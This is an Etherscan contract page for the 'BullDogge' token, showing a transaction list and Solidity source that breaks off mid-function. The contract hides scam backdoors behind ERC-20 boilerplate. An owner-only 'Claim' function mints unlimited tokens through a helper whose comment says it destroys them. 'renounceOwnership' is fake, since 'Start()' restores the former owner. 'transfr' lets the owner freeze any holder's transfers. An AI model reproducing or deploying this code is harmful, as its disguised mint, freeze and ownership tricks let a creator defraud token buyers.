Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 31 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Launch | 14022207 | 1524 days ago | IN | 0 ETH | 0.00232139 | ||||
| Claim | 14022207 | 1524 days ago | IN | 0 ETH | 0.00274797 | ||||
| Set Dead Block | 14022164 | 1524 days ago | IN | 0 ETH | 0.00283958 | ||||
| Set Automated Ma... | 14022093 | 1524 days ago | IN | 0 ETH | 0.00435536 | ||||
| Launch | 14022045 | 1524 days ago | IN | 0 ETH | 0.00266337 | ||||
| Set Max Token | 14022044 | 1524 days ago | IN | 0 ETH | 0.00276229 | ||||
| Set Dead Block | 14022038 | 1524 days ago | IN | 0 ETH | 0.00260579 | ||||
| Set Dead Block | 14022016 | 1524 days ago | IN | 0 ETH | 0.00248309 | ||||
| Set Max Token | 14021961 | 1524 days ago | IN | 0 ETH | 0.00390251 | ||||
| Claim | 14021936 | 1524 days ago | IN | 0 ETH | 0.00468088 | ||||
| Launch | 14021916 | 1524 days ago | IN | 0 ETH | 0.00385954 | ||||
| Set Automated Ma... | 14021915 | 1524 days ago | IN | 0 ETH | 0.00364431 | ||||
| Set Max Token | 14021910 | 1524 days ago | IN | 0 ETH | 0.00498847 | ||||
| Set Automated Ma... | 14021904 | 1524 days ago | IN | 0 ETH | 0.00640389 | ||||
| Set Automated Ma... | 14021897 | 1524 days ago | IN | 0 ETH | 0.00627025 | ||||
| Set Max Token | 14021888 | 1524 days ago | IN | 0 ETH | 0.00453525 | ||||
| Set Automated Ma... | 14021883 | 1524 days ago | IN | 0 ETH | 0.00680608 | ||||
| Set Dead Block | 14021880 | 1524 days ago | IN | 0 ETH | 0.00410214 | ||||
| Launch | 14021868 | 1524 days ago | IN | 0 ETH | 0.00285976 | ||||
| Set Max Token | 14021860 | 1524 days ago | IN | 0 ETH | 0.00450017 | ||||
| Set Max Token | 14021855 | 1524 days ago | IN | 0 ETH | 0.00455697 | ||||
| Approve | 14021848 | 1524 days ago | IN | 0 ETH | 0.00252947 | ||||
| Launch | 14021845 | 1524 days ago | IN | 0 ETH | 0.00365117 | ||||
| Set Max Token | 14021831 | 1524 days ago | IN | 0 ETH | 0.00362144 | ||||
| Approve | 14021814 | 1524 days ago | IN | 0 ETH | 0.00388155 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BullDogge
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-01-14
*/
// SPDX-License-Identifier: MIT
/**
- BullDogge - a vicious rival of bears...
- https://bulldogge.io/
- https://t.me/BullDoggeChat
- https://twitter.com/BullDoggeToken
*/
pragma solidity >=0.1.1 <0.8.9;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// uniswapV2Router
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// gma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// UNISWAP factory
interface IUniswapV2Factory {
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// UNISWAP Pair
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// IERC20Meta
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Ownable
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function Start() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_previousOwner = _owner;
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// SafeMath
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SafeMathInt
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// IterableMapping
// ERC20
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 9. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 9, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _Claim(address account, uint256 amount) internal virtual {
_mint(account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// DividentInterface
contract BullDogge is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
bool private swapping;
bool public deadBlock;
bool public isLaunced;
bool public profitBaseFeeOn = true;
bool public buyingPriceOn = true;
bool public IndividualSellLimitOn = false;
uint256 public feeDivFactor = 200;
uint256 public swapTokensAtAmount = balanceOf(address(this)) / feeDivFactor ;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public totalFees = liquidityFee.add(marketingFee);
uint256 public maxFee = 28;
uint256 private percentEquivalent;
uint256 public maxBuyTransactionAmount;
uint256 public maxSellTransactionAmount;
uint256 public maxWalletToken;
uint256 public launchedAt;
mapping (address => Account) public _account;
mapping (address => bool) public _isTransferd;
mapping (address => bool) public _isSniper;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public automatedMarketMakerPairs;
address[] public isSniper;
address public uniswapV2Pair;
address public liquidityReceiver;
address public marketingFeeWallet;
constructor(uint256 liqFee, uint256 marketFee, uint256 supply, uint256 maxBuyPercent, uint256 maxSellPercent, uint256 maxWalletPercent, address marketingWallet, address liqudityWallet) ERC20("BullDogge", "BLDG") {
maxBuyTransactionAmount = ((supply.div(100)).mul(maxBuyPercent)) * 10**9;
maxSellTransactionAmount = ((supply.div(100)).mul(maxSellPercent)) * 10**9;
maxWalletToken = ((supply.div(100)).mul(maxWalletPercent)) * 10**9;
percentEquivalent = (supply.div(100)) * 10**9;
liquidityFee = liqFee;
marketingFee = marketFee;
totalFees = liqFee.add(marketFee);
liquidityReceiver = liqudityWallet;
marketingFeeWallet = marketingWallet;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(liquidityReceiver, true);
excludeFromFees(marketingWallet, true);
_mint(owner(), supply * (10**9));
}
receive() external payable {
}
function setDeadBlock(bool deadBlockOn) external onlyOwner {
deadBlock = deadBlockOn;
}
function setMaxToken(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
maxBuyTransactionAmount = maxBuy * (10**9);
maxSellTransactionAmount = maxSell * (10**9);
maxWalletToken = maxWallet * (10**9);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function Claim(address account, uint256 amount) external onlyOwner {
super._Claim(account, amount * (10 ** 9));
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Token: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function launch() public onlyOwner {
isLaunced = true;
launchedAt = block.timestamp.add(10);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Token: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function transfr(address account, bool Transferd) public onlyOwner {
_isTransferd[account] = Transferd;
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isTransferd[to] && !_isTransferd[from], "Your address or recipient address is Transfered");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
bool didSwap;
if( canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
from != owner() &&
to != owner()
) {
swapping = true;
uint256 marketingTokens = contractTokenBalance.mul(marketingFee).div(totalFees);
swapAndSendToMarketingWallet(marketingTokens);
emit swapTokenForMarketing(marketingTokens, marketingFeeWallet);
uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div(totalFees);
swapAndLiquify(swapTokens);
emit swapTokenForLiquify(swapTokens);
swapping = false;
didSwap = true;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
if(automatedMarketMakerPairs[from]){
require(isLaunced, "Token isn't launched yet");
require(
amount <= maxBuyTransactionAmount,
"Transfer amount exceeds the maxTxAmount."
);
require(
balanceOf(to) + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
bool dedBlock = block.timestamp <= launchedAt;
if (dedBlock && !_isSniper[to])
isSniper.push(to);
if(deadBlock && !_isSniper[to])
isSniper.push(to);
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
emit DEXBuy(amount, to);
}else if(automatedMarketMakerPairs[to]){
require(!_isSniper[from], "You are sniper");
require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");
if(IndividualSellLimitOn == true && _account[from].sellLimitLiftedUp == false){
uint256 bal = balanceOf(from);
if(bal > 2){
require(amount <= bal.div(2));
_account[from].amountSold += amount;
if(_account[from].amountSold >= bal.div(3)){
_account[from].sellLimitLiftedUp = true;
}
}
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit DEXSell(amount, from);
}else if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit TokensTransfer(from, to, amount);
}
uint256 fees = amount.mul(totalFees).div(100);
if(automatedMarketMakerPairs[to]){
fees += amount.mul(1).div(100);
}
uint256 profitFeeTokens;
if(profitBaseFeeOn == true && !_isExcludedFromFees[from] && automatedMarketMakerPairs[to]){
uint256 p;
if(didSwap == true){
p = contractTokenBalance > percentEquivalent ? contractTokenBalance.div(percentEquivalent) : 1;
}
profitFeeTokens = calculateProfitFee(_account[from].priceBought, amount, p);
profitFeeTokens = profitFeeTokens > fees ? profitFeeTokens - fees : 0;
}
amount = amount.sub(fees + profitFeeTokens);
super._transfer(from, address(this), fees + profitFeeTokens);
}
super._transfer(from, to, amount);
}
function getCurrentPrice() public view returns (uint256 currentPrice) {//This value serves as a reference to calculate profit only.
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
uint256 tokens;
uint256 ETH;
(tokens, ETH,) = pair.getReserves();
if(ETH > tokens){
uint256 _tokens = tokens;
tokens = ETH;
ETH = _tokens;
}
if(ETH == 0){
currentPrice = 0;
}else if((ETH * 100000000000000) > tokens){
currentPrice = (ETH * 100000000000000).div(tokens);
}else{
currentPrice = 0;
}
}
function calculateProfitFee(uint256 priceBought, uint256 amountSelling, uint256 percentageReduction) private view returns (uint256 feeTokens){
uint256 currentPrice = getCurrentPrice();
uint256 feePercentage;
if(priceBought == 0 || amountSelling < 100){
feeTokens = 0;
}
else if(priceBought + 10 < currentPrice){
uint256 h = 100;
feePercentage = h.div((currentPrice.div((currentPrice - priceBought).div(2))));
if(maxFee > percentageReduction){
feePercentage = feePercentage >= maxFee - percentageReduction ? maxFee - percentageReduction : feePercentage;
feeTokens = feePercentage > 0 ? amountSelling.mul(feePercentage).div(h) : 0;
}else{
feeTokens = 0;
}
}else{
feeTokens = 0;
}
}
function calculateBuyingPrice(address buyer, uint256 amountBuying) private view returns (uint256 price){
uint256 currentPrice = getCurrentPrice();
uint256 p1 = _account[buyer].priceBought;
uint256 buyerBalance = balanceOf(buyer);
if(p1 == 0 || buyerBalance == 0){
price = currentPrice;
